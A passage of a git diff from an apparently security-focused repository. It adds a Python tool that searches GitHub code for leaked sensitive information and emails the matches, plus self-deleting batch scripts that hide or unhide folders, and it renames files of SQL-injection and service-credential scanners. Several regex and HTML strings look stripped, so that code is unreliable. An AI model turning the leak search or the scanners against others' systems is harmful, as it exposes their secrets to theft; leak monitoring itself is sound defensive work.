# # # + # #### # # ###### # # ##### ####### # # # # # # ##### # # + # # # # # # # # # # # # # # # # # # # ##### + # # # # # # # # # # # # # # # ## # # # # + ##### # # # # #### ##### # # #### # # # ###### # # V1.2 + Created by Allen \r\n\r\n\033[0m''') + + global codes + global tUrls + try: + #代码搜索 + s = login_github(gUser,gPass) + print('登陆成功,正在检索泄露信息.......') + sleep(1) + codes = [] + tUrls = [] + #新加入2条正则匹配,第一条匹配搜索出来的代码部分;第二条则进行高亮显示关键词 + pattern_code = re.compile(r'
(.*?)
', re.S) + pattern_sub = re.compile(r'', re.S) + for keyword in keywords: + for page in tqdm(range(1,7)): + #更改搜索排序方式的url,收录可能存在泄漏的url还是使用xpath解析 + search_code = 'https://github.com/search?o=desc&p=' + str(page) + '&q=' + keyword +'&s=indexed&type=Code' + resp = s.get(search_code) + results_code = resp.text + dom_tree_code = etree.HTML(results_code) + #获取存在信息泄露的链接地址 + Urls = dom_tree_code.xpath('//div[@class="flex-auto min-width-0 col-10"]/a[2]/@href') + for url in Urls: + url = 'https://github.com' + url + tUrls.append(url) + #获取代码部分,先获得整个包含泄露代码的最上层DIV对象,再把对象进行字符化,便于使用正则进行匹配泄露代码部分的div + results = dom_tree_code.xpath('//div[@class="code-list-item col-12 py-4 code-list-item-public "]') + for div in results: + result = etree.tostring(div, pretty_print=True, method="html") + code = str(result, encoding='utf-8') + #如果存在
此标签则匹配泄露的关键代码部分,不存在则为空。 + if '
' in code: + data = pattern_code.findall(code) + codes.append(pattern_sub.sub('', data[0])) + else: + codes.append(' ') + + return tUrls, codes + + except Exception as e: + #如发生错误,则写入文件并且打印出来 + error_Record(str(e), traceback.format_exc()) + print(e) + +def insert_DB(url, code): + try: + conn = sqlite3.connect('hunter.db') + cursor = conn.cursor() + cursor.execute('CREATE TABLE IF NOT EXISTS Baseline (url varchar(1000) primary key, code varchar(10000))') + cursor.execute('INSERT OR REPLACE INTO Baseline (url, code) values (?,?)', (url, code)) + cursor.close + conn.commit() + conn.close() + except Exception as e: + print("数据库操作失败!\n") + error_Record(str(e), traceback.format_exc()) + print(e) + +def compare_DB_Url(url): + try: + con = sqlite3.connect('hunter.db') + cur = con.cursor() + cur.execute('SELECT url from Baseline where url = ?', (url,)) + results = cur.fetchall() + cur.close() + con.commit() + con.close() + return results + except Exception as e: + error_Record(str(e), traceback.format_exc()) + print(e) + +def error_Record(error, tb): + try: + if os.path.exists('error.txt'): + with open('error.txt', 'a', encoding='utf-8') as f: + f.write(strftime("%a, %d %b %Y %H:%M:%S",gmtime()) + "-" + "Exception Record: " + error + '\n' + "具体错误信息如下:\n" +tb + '\r\n') + else: + with open('error.txt', 'w', encoding='utf-8') as f: + f.write(strftime("%a, %d %b %Y %H:%M:%S",gmtime()) + "-" + "Exception Record: " + error + '\n' + "具体错误信息如下:\n" +tb + '\r\n') + except Exception as e: + print(e) + +def send_mail(host, username, password, sender, receivers, message): + def _format_addr(s): + name,addr = parseaddr(s) + return formataddr((Header(name,'utf-8').encode(),addr)) + + msg = MIMEText(message, 'html', 'utf-8') + subject = 'Github信息泄露监控通知' + msg['Subject'] = Header(subject, 'utf-8').encode() + msg['From'] = _format_addr('Github信息泄露监控<%s>' % sender) + msg['To'] = ','.join(receivers) + try: + smtp_obj = smtplib.SMTP(host, 25) + smtp_obj.login(username, password) + smtp_obj.sendmail(sender, receivers, msg.as_string()) + print('邮件发送成功!') + smtp_obj.close() + except Exception as err: + error_Record(str(err), traceback.format_exc()) + print(err) + +if __name__ == '__main__': + config = configparser.ConfigParser() + config.read('info.ini') + g_User = config['Github']['user'] + g_Pass = config['Github']['password'] + host = config['EMAIL']['host'] + m_User = config['EMAIL']['user'] + m_Pass = config['EMAIL']['password'] + m_sender = config['SENDER']['sender'] + receivers = [] + for k in config['RECEIVER']: + receivers.append(config['RECEIVER'][k]) + keywords = [] + #组合关键词,keyword + payload,两者之间加入“+”号,符合Github搜索语法 + for keyword in config['KEYWORD']: + for payload in config['PAYLOADS']: + keywords.append(config['KEYWORD'][keyword] + '+' + config['PAYLOADS'][payload]) + + message = 'Dear all

未发现任何新增敏感信息!' + tUrls, codes= hunter(g_User, g_Pass, keywords) + target_codes = [] + #第一次运行会查找是否存在数据文件,如果不存在则新建,存在则进行新增条目查找 + if os.path.exists('hunter.db'): + print("存在数据库文件,进行新增数据查找......") + #拆分关键词,在泄露的代码中查找关键词和payload.如果两者都存在则进行下一步数据库查找 + for keyword in keywords: + payload = keyword.split('+') + for i in range(0, len(tUrls)): + if (payload[0] in codes[i]) and (payload[1] in codes[i]): + #如果数据库中返回的值为空,则说明该条目在数据库中不存在,那么添加到target_codes里面用户发送邮件,并且添加到数据库中 + if not compare_DB_Url(tUrls[i]): + target_codes.append('


' + '链接:' + tUrls[i] + '

') + target_codes.append('简要代码如下:
' + codes[i] + '
') + insert_DB(tUrls[i], codes[i]) + else: + print("未发现数据库文件,创建并建立基线......") + for keyword in keywords: + payload = keyword.split('+') + for i in range(0, len(tUrls)): + #关键词和payload同时存在则加入到target_codes,并写入数据库 + if (payload[0] in codes[i]) and (payload[1] in codes[i]): + target_codes.append('


' + '链接:' +tUrls[i] + '

') + target_codes.append('简要代码如下:
' + codes[i] + '
') + insert_DB(tUrls[i], codes[i]) + #当target_codes有数据时,则进行邮件预警 + if target_codes: + warning = ''.join(target_codes) + result = 'Dear all

发现信息泄露! ' + '一共发现{}条'.format(int(len(target_codes)/2)) + warning + send_mail(host, m_User, m_Pass, m_sender, receivers, result) + else: + send_mail(host, m_User, m_Pass, m_sender, receivers, message) diff --git a/Github-Hunter-master/README.md b/Github-Hunter-master/README.md new file mode 100644 index 0000000..c05a700 --- /dev/null +++ b/Github-Hunter-master/README.md @@ -0,0 +1,55 @@ +# Github-Hunter v2.1 +This tool is for sensitive information searching on Github. +It's new version of this tool. +## Requirements +Python 3.x
+## OS Support +Linux,MacOS,Windows
+## Installation +1.`git clone https://github.com/Hell0W0rld0/Github-Hunter.git`
+Notice:Github Hunter only supports Python3.x, if you are using Python2.x,do some tests before use it
+2.`cd Github-Hunter`
+3.`pip install virtualenv`
+4.`virtualenv --python=/usr/local/bin/python3 env`
+5.`source venv/bin/activate`
+6.`pip install -r requirements`
+## Settings +Befor use it,you must change parameters in `info.ini.example`,then change filename(just delete `.example`) +### Example +`[KEYWORD]`
+`keyword1 = your main keyword here`
+`keyword2 = your main keyword here`
+`keyword3 = your main keyword here`
+`...etc`
+
+`[EMAIL]`
+`host = Email server`
+`user = Email User`
+`password = Email password`
+
+`[SENDER]`
+`sender = The email sender`
+
+`[RECEIVER]`
+`receiver1 = Email receiver No.1`
+`receiver2 = Email receiver No.2`
+
+`[Github]`
+`user = Github Username`
+`password = Github Password`
+
+`[PAYLOADS]`
+`p1 = Payload 1`
+`p2 = Payload 2`
+`p3 = Payload 3`
+`p4 = Payload 4`
+`p5 = Payload 5`
+`p6 = Payload 6`
+### Keyword and Payloads +You can add many main keywords as you like, but i suggest add 2~5 keywords.
+The tool will combine keyword and payload. So keywords for searching will be "keyword + payload".You can customize your payloads,the more you add, the more sensitive information will be found. +## Run +`python GithubHunter.py`
+You will receive emails when application complete.
+There will be a .db file named hunter.db, this baseline for url and code. Do not remove it
+The emails will be send contain urls and code. diff --git a/Github-Hunter-master/info.ini.example b/Github-Hunter-master/info.ini.example new file mode 100644 index 0000000..f3ccb96 --- /dev/null +++ b/Github-Hunter-master/info.ini.example @@ -0,0 +1,30 @@ +[KEYWORD] +keyword1 = your keyword here +keyword2 = your keyword here +keyword3 = your keyword here +... +etc + +[EMAIL] +host = Email server +user = Email User +password = Email password + +[SENDER] +sender = The email sender + +[RECEIVER] +receiver1 = Email receiver No.1 +receiver2 = Email receiver No.2 + +[Github] +user = Github Username +password = Github Password + +[PAYLOADS] +p1 = Payload 1 +p2 = Payload 2 +p3 = Payload 3 +p4 = Payload 4 +p5 = Payload 5 +p6 = Payload 6 diff --git a/Github-Hunter-master/requirements.txt b/Github-Hunter-master/requirements.txt new file mode 100644 index 0000000..89fc537 --- /dev/null +++ b/Github-Hunter-master/requirements.txt @@ -0,0 +1,3 @@ +lxml==4.2.1 +tqdm==4.23.0 +requests==2.20.1 diff --git a/SQLiScanner/SQLiScanner-master/.gitignore b/SQLiScanner/.gitignore similarity index 100% rename from SQLiScanner/SQLiScanner-master/.gitignore rename to SQLiScanner/.gitignore diff --git a/SQLiScanner/SQLiScanner-master/LICENSE b/SQLiScanner/LICENSE similarity index 100% rename from SQLiScanner/SQLiScanner-master/LICENSE rename to SQLiScanner/LICENSE diff --git a/SQLiScanner/SQLiScanner-master/README.md b/SQLiScanner/README.md similarity index 100% rename from SQLiScanner/SQLiScanner-master/README.md rename to SQLiScanner/README.md diff --git a/SQLiScanner/SQLiScanner-master/README_zh.md b/SQLiScanner/README_zh.md similarity index 100% rename from SQLiScanner/SQLiScanner-master/README_zh.md rename to SQLiScanner/README_zh.md diff --git a/SQLiScanner/SQLiScanner-master/scanner/__init__.py b/SQLiScanner/SQLiScanner/__init__.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/__init__.py rename to SQLiScanner/SQLiScanner/__init__.py diff --git a/SQLiScanner/SQLiScanner-master/SQLiScanner/settings.py b/SQLiScanner/SQLiScanner/settings.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/SQLiScanner/settings.py rename to SQLiScanner/SQLiScanner/settings.py diff --git a/SQLiScanner/SQLiScanner-master/SQLiScanner/urls.py b/SQLiScanner/SQLiScanner/urls.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/SQLiScanner/urls.py rename to SQLiScanner/SQLiScanner/urls.py diff --git a/SQLiScanner/SQLiScanner-master/SQLiScanner/wsgi.py b/SQLiScanner/SQLiScanner/wsgi.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/SQLiScanner/wsgi.py rename to SQLiScanner/SQLiScanner/wsgi.py diff --git a/SQLiScanner/SQLiScanner-master/_config.yml b/SQLiScanner/_config.yml similarity index 100% rename from SQLiScanner/SQLiScanner-master/_config.yml rename to SQLiScanner/_config.yml diff --git a/SQLiScanner/SQLiScanner-master/manage.py b/SQLiScanner/manage.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/manage.py rename to SQLiScanner/manage.py diff --git a/SQLiScanner/SQLiScanner-master/public/build.sh b/SQLiScanner/public/build.sh similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/build.sh rename to SQLiScanner/public/build.sh diff --git a/SQLiScanner/SQLiScanner-master/public/favicon.ico b/SQLiScanner/public/favicon.ico similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/favicon.ico rename to SQLiScanner/public/favicon.ico diff --git a/SQLiScanner/SQLiScanner-master/public/index.html b/SQLiScanner/public/index.html similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/index.html rename to SQLiScanner/public/index.html diff --git a/SQLiScanner/SQLiScanner-master/public/package.json b/SQLiScanner/public/package.json similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/package.json rename to SQLiScanner/public/package.json diff --git a/SQLiScanner/SQLiScanner-master/public/src/AppConfig.js b/SQLiScanner/public/src/AppConfig.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/AppConfig.js rename to SQLiScanner/public/src/AppConfig.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Chart.js b/SQLiScanner/public/src/components/Tasks/SqlInjectScan/Chart.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Chart.js rename to SQLiScanner/public/src/components/Tasks/SqlInjectScan/Chart.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Index.js b/SQLiScanner/public/src/components/Tasks/SqlInjectScan/Index.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Index.js rename to SQLiScanner/public/src/components/Tasks/SqlInjectScan/Index.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Result.js b/SQLiScanner/public/src/components/Tasks/SqlInjectScan/Result.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Result.js rename to SQLiScanner/public/src/components/Tasks/SqlInjectScan/Result.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/UploadFile.js b/SQLiScanner/public/src/components/Tasks/SqlInjectScan/UploadFile.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/UploadFile.js rename to SQLiScanner/public/src/components/Tasks/SqlInjectScan/UploadFile.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/index.js b/SQLiScanner/public/src/index.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/index.js rename to SQLiScanner/public/src/index.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/layouts/MainLayout/MainLayout.css b/SQLiScanner/public/src/layouts/MainLayout/MainLayout.css similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/layouts/MainLayout/MainLayout.css rename to SQLiScanner/public/src/layouts/MainLayout/MainLayout.css diff --git a/SQLiScanner/SQLiScanner-master/public/src/layouts/MainLayout/MainLayout.js b/SQLiScanner/public/src/layouts/MainLayout/MainLayout.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/layouts/MainLayout/MainLayout.js rename to SQLiScanner/public/src/layouts/MainLayout/MainLayout.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/logo.svg b/SQLiScanner/public/src/logo.svg similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/logo.svg rename to SQLiScanner/public/src/logo.svg diff --git a/SQLiScanner/SQLiScanner-master/public/src/routes/index.js b/SQLiScanner/public/src/routes/index.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/routes/index.js rename to SQLiScanner/public/src/routes/index.js diff --git a/SQLiScanner/SQLiScanner-master/requirements.txt b/SQLiScanner/requirements.txt similarity index 100% rename from SQLiScanner/SQLiScanner-master/requirements.txt rename to SQLiScanner/requirements.txt diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/__init__.py b/SQLiScanner/scanner/__init__.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/__init__.py rename to SQLiScanner/scanner/__init__.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/admin.py b/SQLiScanner/scanner/admin.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/admin.py rename to SQLiScanner/scanner/admin.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/apps.py b/SQLiScanner/scanner/apps.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/apps.py rename to SQLiScanner/scanner/apps.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/models.py b/SQLiScanner/scanner/models.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/models.py rename to SQLiScanner/scanner/models.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/serializers.py b/SQLiScanner/scanner/serializers.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/serializers.py rename to SQLiScanner/scanner/serializers.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/tasks.py b/SQLiScanner/scanner/tasks.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/tasks.py rename to SQLiScanner/scanner/tasks.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/views.py b/SQLiScanner/scanner/views.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/views.py rename to SQLiScanner/scanner/views.py diff --git a/SQLiScanner/SQLiScanner-master/static/css/app.css b/SQLiScanner/static/css/app.css similarity index 100% rename from SQLiScanner/SQLiScanner-master/static/css/app.css rename to SQLiScanner/static/css/app.css diff --git a/SQLiScanner/SQLiScanner-master/static/favicon.ico b/SQLiScanner/static/favicon.ico similarity index 100% rename from SQLiScanner/SQLiScanner-master/static/favicon.ico rename to SQLiScanner/static/favicon.ico diff --git a/SQLiScanner/SQLiScanner-master/static/js/app.js b/SQLiScanner/static/js/app.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/static/js/app.js rename to SQLiScanner/static/js/app.js diff --git a/SQLiScanner/SQLiScanner-master/templates/index.html b/SQLiScanner/templates/index.html similarity index 100% rename from SQLiScanner/SQLiScanner-master/templates/index.html rename to SQLiScanner/templates/index.html diff --git a/Windows_scripts/FolderHide.bat b/Windows_scripts/FolderHide.bat new file mode 100644 index 0000000..8e4f7fb --- /dev/null +++ b/Windows_scripts/FolderHide.bat @@ -0,0 +1,17 @@ +:: To hide the folders +:: Author : ym20111 +:: Date: 2018-12-19 +@echo off +echo ================================================================== +echo ============================================================== +echo ========================================================== +echo please waiting for a while, you can go have a tea, return later +echo It is working for your purpose +echo ............................... +echo ............. +echo .... +for /F "delims=" %%i in ('dir /A /S/B') do attrib "%%i" +S +H +echo it done!, please close it +attrib FolderHide.bat -S -H +del %0 +pause \ No newline at end of file diff --git a/Windows_scripts/FolderUnhide.bat b/Windows_scripts/FolderUnhide.bat new file mode 100644 index 0000000..6cd72e3 --- /dev/null +++ b/Windows_scripts/FolderUnhide.bat @@ -0,0 +1,17 @@ +:: To disclosure the folders +:: Author : ym20111 +:: Date: 2018-12-19 +@echo off +echo ================================================================== +echo ============================================================== +echo ========================================================== +echo please waiting for a while, you can go have a tea, return later +echo It is working for your purpose +echo ............................... +echo ............. +echo .... +for /f "delims=" %%i in ('dir /ah /s/b') do attrib "%%i" -s -h +echo it done!, please close it +echo Goodbye +pause +del %0 \ No newline at end of file diff --git a/fenghuangscanner/fenghuangscanner_v3-master/README.md b/fenghuangscanner/README.md similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/README.md rename to fenghuangscanner/README.md diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/pop3.conf b/fenghuangscanner/comm/__init__.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/pop3.conf rename to fenghuangscanner/comm/__init__.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/__init__.pyc b/fenghuangscanner/comm/__init__.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/__init__.pyc rename to fenghuangscanner/comm/__init__.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/config.py b/fenghuangscanner/comm/config.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/config.py rename to fenghuangscanner/comm/config.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/config.pyc b/fenghuangscanner/comm/config.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/config.pyc rename to fenghuangscanner/comm/config.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/portscan.py b/fenghuangscanner/comm/portscan.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/portscan.py rename to fenghuangscanner/comm/portscan.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/portscan.pyc b/fenghuangscanner/comm/portscan.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/portscan.pyc rename to fenghuangscanner/comm/portscan.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/printers.py b/fenghuangscanner/comm/printers.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/printers.py rename to fenghuangscanner/comm/printers.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/printers.pyc b/fenghuangscanner/comm/printers.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/printers.pyc rename to fenghuangscanner/comm/printers.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/.DS_Store b/fenghuangscanner/conf/.DS_Store similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/.DS_Store rename to fenghuangscanner/conf/.DS_Store diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/all-wcprops b/fenghuangscanner/conf/.svn/all-wcprops similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/all-wcprops rename to fenghuangscanner/conf/.svn/all-wcprops diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/entries b/fenghuangscanner/conf/.svn/entries similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/entries rename to fenghuangscanner/conf/.svn/entries diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/text-base/config.txt.svn-base b/fenghuangscanner/conf/.svn/text-base/config.txt.svn-base similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/text-base/config.txt.svn-base rename to fenghuangscanner/conf/.svn/text-base/config.txt.svn-base diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/ftp.conf b/fenghuangscanner/conf/ftp.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/ftp.conf rename to fenghuangscanner/conf/ftp.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/ldapd.conf b/fenghuangscanner/conf/ldapd.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/ldapd.conf rename to fenghuangscanner/conf/ldapd.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/mongodb.conf b/fenghuangscanner/conf/mongodb.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/mongodb.conf rename to fenghuangscanner/conf/mongodb.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/mssql.conf b/fenghuangscanner/conf/mssql.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/mssql.conf rename to fenghuangscanner/conf/mssql.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/mysql.conf b/fenghuangscanner/conf/mysql.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/mysql.conf rename to fenghuangscanner/conf/mysql.conf diff --git a/fenghuangscanner/conf/pop3.conf b/fenghuangscanner/conf/pop3.conf new file mode 100644 index 0000000..e69de29 diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/postgres.conf b/fenghuangscanner/conf/postgres.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/postgres.conf rename to fenghuangscanner/conf/postgres.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/signs.conf b/fenghuangscanner/conf/signs.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/signs.conf rename to fenghuangscanner/conf/signs.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/smb.conf b/fenghuangscanner/conf/smb.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/smb.conf rename to fenghuangscanner/conf/smb.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/snmp.conf b/fenghuangscanner/conf/snmp.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/snmp.conf rename to fenghuangscanner/conf/snmp.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/ssh.conf b/fenghuangscanner/conf/ssh.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/ssh.conf rename to fenghuangscanner/conf/ssh.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/tomcat.conf b/fenghuangscanner/conf/tomcat.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/tomcat.conf rename to fenghuangscanner/conf/tomcat.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/vnc.conf b/fenghuangscanner/conf/vnc.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/vnc.conf rename to fenghuangscanner/conf/vnc.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/web.conf b/fenghuangscanner/conf/web.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/web.conf rename to fenghuangscanner/conf/web.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/factorys/__init__.py b/fenghuangscanner/factorys/__init__.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/factorys/__init__.py rename to fenghuangscanner/factorys/__init__.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/factorys/__init__.pyc b/fenghuangscanner/factorys/__init__.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/factorys/__init__.pyc rename to fenghuangscanner/factorys/__init__.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/factorys/pluginFactory.py b/fenghuangscanner/factorys/pluginFactory.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/factorys/pluginFactory.py rename to fenghuangscanner/factorys/pluginFactory.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/factorys/pluginFactory.pyc b/fenghuangscanner/factorys/pluginFactory.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/factorys/pluginFactory.pyc rename to fenghuangscanner/factorys/pluginFactory.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/main.py b/fenghuangscanner/main.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/main.py rename to fenghuangscanner/main.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/.DS_Store b/fenghuangscanner/plugins/.DS_Store similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/.DS_Store rename to fenghuangscanner/plugins/.DS_Store diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/__init__.py b/fenghuangscanner/plugins/__init__.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/__init__.py rename to fenghuangscanner/plugins/__init__.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/__init__.pyc b/fenghuangscanner/plugins/__init__.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/__init__.pyc rename to fenghuangscanner/plugins/__init__.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ftp.py b/fenghuangscanner/plugins/ftp.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ftp.py rename to fenghuangscanner/plugins/ftp.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ftp.pyc b/fenghuangscanner/plugins/ftp.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ftp.pyc rename to fenghuangscanner/plugins/ftp.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ldapd.py b/fenghuangscanner/plugins/ldapd.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ldapd.py rename to fenghuangscanner/plugins/ldapd.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ldapd.pyc b/fenghuangscanner/plugins/ldapd.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ldapd.pyc rename to fenghuangscanner/plugins/ldapd.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mongodb.py b/fenghuangscanner/plugins/mongodb.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mongodb.py rename to fenghuangscanner/plugins/mongodb.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mongodb.pyc b/fenghuangscanner/plugins/mongodb.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mongodb.pyc rename to fenghuangscanner/plugins/mongodb.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mssql.py b/fenghuangscanner/plugins/mssql.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mssql.py rename to fenghuangscanner/plugins/mssql.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mssql.pyc b/fenghuangscanner/plugins/mssql.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mssql.pyc rename to fenghuangscanner/plugins/mssql.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mysql.py b/fenghuangscanner/plugins/mysql.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mysql.py rename to fenghuangscanner/plugins/mysql.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mysql.pyc b/fenghuangscanner/plugins/mysql.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mysql.pyc rename to fenghuangscanner/plugins/mysql.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ndr.pyc b/fenghuangscanner/plugins/ndr.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ndr.pyc rename to fenghuangscanner/plugins/ndr.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/pop3.py b/fenghuangscanner/plugins/pop3.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/pop3.py rename to fenghuangscanner/plugins/pop3.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/pop3.pyc b/fenghuangscanner/plugins/pop3.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/pop3.pyc rename to fenghuangscanner/plugins/pop3.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/postgres.py b/fenghuangscanner/plugins/postgres.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/postgres.py rename to fenghuangscanner/plugins/postgres.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/postgres.pyc b/fenghuangscanner/plugins/postgres.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/postgres.pyc rename to fenghuangscanner/plugins/postgres.pyc diff --git 